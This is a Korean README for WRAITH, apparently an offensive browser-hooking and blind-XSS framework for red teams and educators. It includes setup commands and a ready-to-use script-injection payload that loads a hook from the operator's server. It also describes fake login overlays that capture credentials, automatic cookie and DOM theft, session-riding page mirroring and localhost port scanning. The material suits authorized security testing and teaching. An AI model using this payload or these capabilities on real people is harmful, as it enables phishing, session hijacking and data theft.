
브라우저 후킹 프레임워크로, 공인된 레드 팀과 교육자를 위한 도구입니다. XSS를 통해 브라우저를 후킹하고, 대화형 사후 침투 제어, 블라인드 XSS 정보 수집, 사회공학 오버레이, 실습 랩을 제공합니다.
레드팀, 보안 연구자, 교육자를 위한 현대적 독립형 브라우저 후킹 프레임워크 — BeEF와 블라인드 XSS 콜백 도구들의 클린룸 후속작입니다.
공인된 보안 테스트, 연구 및 교육 전용입니다. WRAITH는 피싱 / 브라우저 내 중간자 공격(man-in-the-browser) / 블라인드 XSS 기법을 시연하고 테스트하기 위한 공격적 보안 도구입니다. 테스트할 명시적 승인을 받은 시스템과 사람에 대해서만 사용하세요. 사용 방법에 대한 책임은 사용자에게 있습니다.

Arcanum에서 일하는 동안 우리는 두 종류의 도구를 번갈아 사용하면서, 이 둘이 하나로 합쳐지길 바랐습니다.
한쪽에는 BeEF — Browser Exploitation Framework — 가 있었습니다. 브라우저를 후킹한 다음 세션 내부에서 작업하는 고전적인 워크플로우를 위한 도구였죠: 가짜 로그인 키로깅, 로컬 네트워크 정찰, 실제 피해자에게 모듈 전달. 우리가 man-in-the-browser 공격을 사람들에게 실감나게 보여줄 때 사용한 도구입니다. 하지만 세월이 흐르면서 낡았고, 상당 부분이 오늘날의 브라우저에서 불안정하며, 사회공학 오버레이도 10년 전 로그인 화면처럼 보입니다.
다른 한쪽에는 우리가 가장 좋아하는 블라인드 XSS 콜백 프레임워크(XSS Hunter, ezXSS)가 있었습니다: 필드에 페이로드를 넣으면, 보이지 않는 어딘가에서 발화하는 순간 오리진, 쿠키, DOM, 스크린샷 같은 전리품을 가지고 콜백이 옵니다.
우리가 점점 더 필요로 했던 것 — 특히 타깃이 AI 애플리케이션 생태계가 되면서, 신뢰할 수 없는 텍스트가 에이전트, 도구 출력, 관리자 검토 큐, 지원 콘솔을 흐르고 아무도 지켜보지 않는 곳에서 JavaScript가 발화하는 상황이 늘어났죠 — 은 두 가지를 모두 수행하는 단일 프레임워크였습니다: BeEF 후크의 대화형·지속적 사후 침투 제어와, 발화 후 잊어버리는(fire-and-forget) 블라인드 XSS 콜백 전리품을 하나의 페이로드로, 현재 브라우저에서 안정적으로 동작하고 오늘날의 실제 로그인 화면처럼 보이는 그런 도구 말입니다.
그래서 우리는 WRAITH를 만들었습니다.
우리는 WRAITH를 일부러, 그리고 이르게 공개합니다. "완성"될 때까지 붙잡고 있기보다는, 실제로 사용할 사람들의 손에 먼저 전달해서 무엇이 고장 나는지 듣는 편이 낫다고 생각했습니다.
즉, 거친 부분과 버그가 있을 것으로 예상하세요. 일부 모듈은 다른 모듈보다 더 많이 실전 검증되었고, 브라우저 동작은 끊임없이 변하며(아래 네트워크 스캔 노트 참조), API는 버전 간에 변경될 수 있습니다. 문제가 발생하면 이슈를 열어 주세요 — 재현 절차, 브라우저 + 버전, 기대했던 동작이면 금상첨화입니다. 프로젝트의 기여 조건에 따라 PR도 환영합니다.
가장 빠른 방법입니다. Docker + Docker Compose가 필요합니다.
git clone https://github.com/Arcanum-Sec/wraith
cd wraith
./setup.sh
setup.sh가 모든 과정을 안내합니다:
.env(chmod 600)를 작성한 다음 컨테이너를 빌드 + 시작합니다. 운영자 콘솔 : http://YOUR_IP:8090/operator/
로그인 페이지 : http://YOUR_IP:8090/login (사용자 "operator")
데모 피해자 페이지 : http://YOUR_IP:8090/demo/
후크 페이로드 : http://YOUR_IP:8090/hook.js
즉시 사용 가능한 XSS 페이로드:
"><script src="http://YOUR_IP:8090/hook.js"></script>
표준 compose 명령으로 관리합니다:
docker compose logs -f # 로그 보기
docker compose down # 중지 (./data 유지)
./setup.sh # 재구성 (비밀번호 교체, 주소 변경 등)
캡처된 세션은 호스트의 ./data/에 유지됩니다 — 이미지에 절대 포함되지 않으며, 절대 커밋되지 않습니다(.env와 data/는 gitignore 처리됨).
운영자 콘솔은 운영자 비밀번호가 설정된 경우 로그인 게이트가 적용되며, 사용자 이름 + 비밀번호 로그인을 사용합니다:

npm install
npm start
그런 다음 http://127.0.0.1:3000/operator/ 에서 운영자 콘솔을, http://127.0.0.1:3000/demo/ 에서 데모 피해자 페이지를 엽니다(두 번째 브라우저/프로필에서). localhost에서는 편의를 위해 로그인이 기본적으로 비활성화됩니다 — 서버는 운영자 비밀번호 없이 공용 인터페이스에 바인딩을 거부하므로, 실수로 열린 패널을 노출할 수 없습니다.
/hook.js는 작은 페이로드입니다. 사용자가 제어하는 모든 페이지에 넣거나(<script src="/hook.js"></script>), 타깃의 XSS를 통해 전달하세요. 이를 로드한 브라우저는 운영자에게 WebSocket을 열고, 스스로를 식별(브라우저, OS, IP, 페이지, UA)하며, 자동 재연결되고, 탐색에도 살아남습니다. 후킹된 모든 브라우저는 콘솔에 실시간으로 표시되며, 하나를 선택해 제어할 수 있습니다 — 전체 대시보드는 이 README 상단의 대표 이미지입니다: 후킹된 브라우저 명단, 타깃 상세, 배포 컨트롤, 실시간 활동 피드, 캡처된 자격 증명.
현대화된 가짜 로그인 오버레이로, 격리된 shadow DOM에 렌더링되어 어떤 호스트 페이지에서도 픽셀 단위로 정확하게 보이고, 실제 재인증 모달처럼 뒤의 페이지를 프로스트 블러 처리합니다. LinkedIn, Facebook, Microsoft / Office 365(정통 2단계 이메일 → 비밀번호)가 포함됩니다.

타깃이 오버레이에 입력하는 모든 문자가 실시간으로 콘솔에 스트리밍되고, 제출된 자격 증명은 캡처된 자격 증명(Captured Credentials) 에 저장됩니다 — 새로고침이나 재시작에도 데이터가 유실되지 않도록 모두 영속화됩니다.

브라우저가 후킹되는 즉시 WRAITH는 페이지 캡처(Page Capture) 를 자동 실행합니다: 블라인드 XSS 프레임워크가 페이로드가 보이지 않는 곳에서 발화했을 때 수집하는 것과 정확히 동일합니다 — 발화한 위치(오리진 + URL + 리퍼러), 피해자의 쿠키(HttpOnly 제외), 전체 DOM, 그리고 스크린샷. 실패는 정직하게 보고됩니다. 실패 자체가 교훈이기 때문입니다: HttpOnly 쿠키는 절대 나타나지 않으며, CSP나 교차 오리진 캔버스 오염으로 스크린샷이 차단될 수 있습니다.

여기서 WRAITH는 대체하는 도구들보다 더 나아갑니다. 블라인드 XSS나 후크를 페이지에 성공시키면, 대부분의 프레임워크는 스크린샷과 원시 HTML 덤프에서 멈춥니다 — 페이로드가 어디서 발화했는지는 볼 수 있지만, 실제로 그걸로 무언가를 할 수는 없습니다.
WRAITH의 페이지 미러(Page Mirror) 는 그 막다른 전리품을 애플리케이션의 실시간 탐색 가능한 뷰로 바꿉니다. 후킹된 페이지를 운영자 콘솔 안에서 실제 렌더링된 브라우저 뷰로 열고 — 링크를 클릭하고 앱을 시각적으로 이동할 수 있습니다. 피해자가 하는 것처럼요.

핵심: 모든 탐색은 후킹된 브라우저를 통해 가져옵니다, 그래서 피해자의 세션과 동일 오리진 신뢰를 그대로 사용합니다. 피해자 세션이 도달할 수 있는 모든 페이지, 엔드포인트, 기능에 사용자도 도달할 수 있습니다 — 인증된 세션 쿠키 뒤에 숨겨진 페이지도 포함해서요(그리고 HttpOnly라서 직접 탈취할 수 없었을 페이지도).
아래 예시에서 우리는 지원 에이전트의 티켓 큐에서 시작해 내부 자격 증명 금고(Credential Vault) 까지 바로 클릭해 들어갑니다 — 인증된 에이전트 세션 안에서만 열리는 페이지입니다. 탈취한 자격 증명도, 훔친 쿠키도 없습니다: 우리는 단지 피해자의 세션을 타고 그곳에 도달했을 뿐입니다.

교차 오리진 읽기는 설계상 여전히 실패합니다(동일 오리진 정책은 유효) — 미러의 도달 범위는 피해자의 도달 범위와 정확히 같습니다. 그 이상도 이하도 아닙니다. 그 경계 자체가 교훈의 일부입니다.
모든 컨텍스트(HTML, 속성 탈출, 태그 닫기, 이벤트 핸들러, JS 컨텍스트, javascript: URI, jQuery)에 대한 즉시 발화 가능한 인젝션 문자열의 XSS-Hunter 스타일 카탈로그로, 각 항목에 사용자의 후크 URL이 자동으로 채워지고 원클릭 복사가 가능합니다.

후킹된 브라우저를 프록시로 사용하여 피해자의 로컬 서비스를 식별합니다. 현재 브라우저용으로 재구축된 타이밍 사이드 채널입니다 — 신뢰할 수 있는 기본값은 두 가지 독립적인 프리미티브(fetch- 및 WebSocket-타이밍, 문자 그대로 eBay의 check.js 방식)를 사용하는 보정된 127.0.0.1 스캔입니다. LAN 모드도 포함되지만 정직하게 표시됩니다. Chrome 142+의 Local Network Access가 이제 이를 차단하기 때문입니다(아래 참조).
/lab에 의도적으로 취약한 "지원 데스크"가 있으며 저장형 XSS 싱크가 포함되어 있어, 전체 체인을 동일 오리진에서 처음부터 끝까지 시연할 수 있습니다: 악성 티켓 제출 → "에이전트"가 큐를 검토하고 페이로드 발화(블라인드 XSS의 순간) → 후킹된 에이전트를 페이지 미러로 열고 세션 게이트 금고에 접근. 의도적으로 안전하지 않게 설계되었으며, 플래그가 심어져 있습니다.

후크는 로드되는 즉시 발화합니다. 저장된 필드에 던져진 블라인드 XSS 페이로드가 나중에 보이지 않는 관리자/지원/로그/에이전트 컨텍스트에서 렌더링되는 것과 정확히 같습니다. 데이터에 그대로 드러나는 교훈:
오프라인 랩을 위해서는 html2canvas를 자체 호스팅하세요 — public/vendor/README.md를 참조하세요.
JavaScript는 교차 오리진 응답을 읽을 수 없지만, 요청을 시작하고 어떻게 실패하는지와 얼마나 빠른지 관찰할 수 있으며, 이를 통해 포트 상태가 누출됩니다. 이 모듈은 현재 브라우저(2025–2026) 에서 작동하는 방식으로 재구축되었습니다. 구시대의 BeEF식 LAN 스캔은 이제 죽었기 때문입니다.
현대의 현실: Chrome 142+(2025년 10월)는 Local Network Access(LNA) 를 도입하여 사설 범위(10.x / 172.16.x / 192.168.x)에 대한 요청을 권한 프롬프트 뒤에 가둡니다. 블라인드 LAN 스캔은 더 이상 네트워크에 도달하지 못합니다. 하지만 루프백(127.0.0.1)은 여전히 도달 가능하며, 이를 스캔하는 것이 실제 공격입니다 — eBay, Best Buy 등이 방문자의 localhost를 포트 스캔하여 로컬 서비스와 원격 접속 도구를 식별한 사실이 적발되었습니다.
따라서 이 모듈에는 세 가지 모드가 있습니다:
127.0.0.1 스캔으로, 먼저 이 머신의 RST 기준선을 학습한 다음, 응답하거나, 멈추거나, 더 느리게 실행되는 모든 것을 OPEN으로 표시하고, 가능한 서비스를 라벨링하며, fetch, ws, 또는 둘 다 동의했는지 보여줍니다. 현재 Chrome 및 Firefox에서 작동합니다.이 도구들은 공격의 서로 다른 단계에 있으며 서로 다른 신뢰 컨텍스트를 악용합니다. 상호 보완적이며, 서로 연결됩니다.
가르쳐야 할 정직한 구분: 우리의 오버레이 피싱은 사용자가 입력하는 것을 수집합니다 — 실제 세션을 캡처하거나 MFA를 우회하지 않습니다. 이것이 훌륭한 대비가 되는 이유이자, 업계가 피싱 저항형, 오리진 바인딩 인증(FIDO2 / WebAuthn / 패스키) 으로 이동한 이유이기도 합니다. 현실적인 킬 체인은 세 가지를 모두 사용합니다: 블라인드 XSS가 코드 실행을 찾아 전달하고, WRAITH 후크가 대화형 세션 내 제어를 제공하며(페이지 미러를 통해 앱 기능에 직접 도달), 리다이렉트가 피해자를 Evilginx 흐름으로 유도하여 실제 MFA 통과 세션을 얻습니다.
모든 것이 환경 변수로 구동됩니다. hook.js가 서빙된 위치에서 콜백 URL을 파생하므로 동일한 빌드가 어디서든 실행됩니다. setup.sh가 이를 .env에 기록합니다.
서명된 HttpOnly 세션 쿠키가 패널과 실시간 WebSocket을 모두 커버합니다. 후크 페이로드, 데모 페이지, /ws/hook 채널은 피해자가 도달할 수 있도록 공개로 유지됩니다. 안전장치로, 서버는 비밀번호가 설정되지 않으면 공용 인터페이스에 바인딩을 거부합니다.
Docker 대신 베어메탈 / systemd 배포를 원한다면 deploy/DEPLOY.md를 참조하세요.
server.js C2 서버 (HTTP + WS, 경로에 따라 두 역할)
config.js 환경 변수 기반 설정
store.js 영속 세션/전리품 저장소 (data/sessions.json)
lab.js 의도적으로 취약한 실습 랩 (/lab)
public/hook.js 페이로드
public/demo/ 무해한 "피해자" 랜딩 페이지
public/operator/ 운영자 콘솔 (GUI + 페이로드 카탈로그)
modules/ linkedin.js facebook.js microsoft.js portscan.js capture.js + 레지스트리
public/vendor/ 선택적 자체 호스팅 라이브러리 (오프라인 스크린샷용 html2canvas)
setup.sh 대화형 Docker 설치 프로그램
Dockerfile / docker-compose.yml
deploy/ 베어메탈 systemd 대안
docs/screenshots/ 이 README에 사용된 이미지
WRAITH는 © 2026 Arcanum Information Security이며, Apache License 2.0에 따라 배포됩니다.
자유롭게 사용, 수정, 재배포할 수 있습니다 — 자체 교육 과정에서도 — 단, 저작자 표시를 유지해야 합니다: 배포하거나 포크하는 모든 것에 LICENSE 및 NOTICE 파일과 Arcanum 저작권 고지를 유지하고, 변경한 사항을 명시하세요(Apache-2.0 §4). NOTICE를 참조하세요. 이 라이선스는 코드 출처를 설명하는 용도 외에 Arcanum 이름이나 마크의 사용을 허가하지 않습니다.
Arcanum이 ❤️로 만들었습니다 — https://arcanum-sec.com
| BeEF | WRAITH |
|---|
hook.js + XHR 폴링 | public/hook.js + WebSocket (실시간, 신뢰성) |
| Ruby 서버 + RESTful API | server.js (Node + ws) |
| 온라인/오프라인 브라우저 패널 | 운영자 콘솔 "후킹된 브라우저(Hooked Browsers)" |
| Pretty Theft 모듈 | 오버레이 modules/*.js (현대적 LinkedIn/Facebook/Microsoft) |
| 네트워크 탐지 / 포트 스캐너 | modules/portscan.js (보정됨, 현재 브라우저용) |
| 명령 결과 | 실시간 키 입력 + 캡처된 자격 증명 + 스캔 결과 |
| (해당 없음) | 페이지 캡처(블라인드 XSS 전리품) + 페이지 미러(앱 탐색) |
| WRAITH / BeEF | 블라인드 XSS 프레임워크 (XSS Hunter, ezXSS) | AiTM 프록시 (Evilginx, EvilGoPhish, Modlishka) |
|---|
| 무엇인가 | 브라우저 내 중간자 사후 침투 C2 (+ 블라인드 XSS 전리품) | 일회성 정찰을 통한 XSS 탐지 + 증명 | 중간자 공격(adversary-in-the-middle) 리버스 프록시 |
| 전제 조건 | 페이지에서 JS가 이미 실행 중 | 동일: 페이로드가 보이지 않는 곳에서 실행됨 | 피해자가 링크를 클릭하고 사용자의 유사 도메인에서 로그인 |
| 악용하는 오리진 | 피해자의 실제 세션 / 실제 오리진 | 취약한 앱의 오리진 | 실제 사이트를 프록시하는 별도의 공격자 도메인 |
| 캡처하는 것 | 자격 증명 + 키 입력 + 정찰 + 블라인드 XSS 전리품 + 페이지 미러로 앱 탐색 | "발화했고, 여기 있습니다": DOM, 쿠키, 스크린샷, 오리진 | 실제 자격 증명 및 MFA 이후 세션 토큰 |
| MFA를 우회하나? | 아니요 — 정적 자격 증명을 피싱했을 뿐 | 페이지 내 활성 인증 세션을 탈 때만 | 예 — 인증 후 세션 쿠키 탈취가 핵심 |
| 환경 변수 | 기본값 | 용도 |
|---|
WRAITH_HOST | 127.0.0.1 | 바인딩 인터페이스 (0.0.0.0은 노출; Docker에서는 강제) |
WRAITH_PORT | 3000 | HTTP + WebSocket 포트 (setup.sh 기본값은 8090) |
WRAITH_PUBLIC_URL | (파생됨) | 사용자의 IP/도메인, 올바른 후크 URL 출력에 사용 |
WRAITH_OP_USER | (비어 있음) | 운영자 로그인 사용자 이름 (선택 사항; setup.sh가 설정) |
WRAITH_OP_PASSWORD | (비어 있음) | 운영자 로그인 비밀번호; 공개 바인딩에 필수 |
WRAITH_SECRET | (무작위/부팅 시) | 세션 쿠키 서명; 재시작 후에도 로그인 유지하려면 설정 |
WRAITH_SESSION_HOURS | 12 | 운영자 세션 수명 |
WRAITH_AUTOCAPTURE | 1 | 후크 시 페이지 캡처 자동 실행 (0 = 수동, BeEF 스타일) |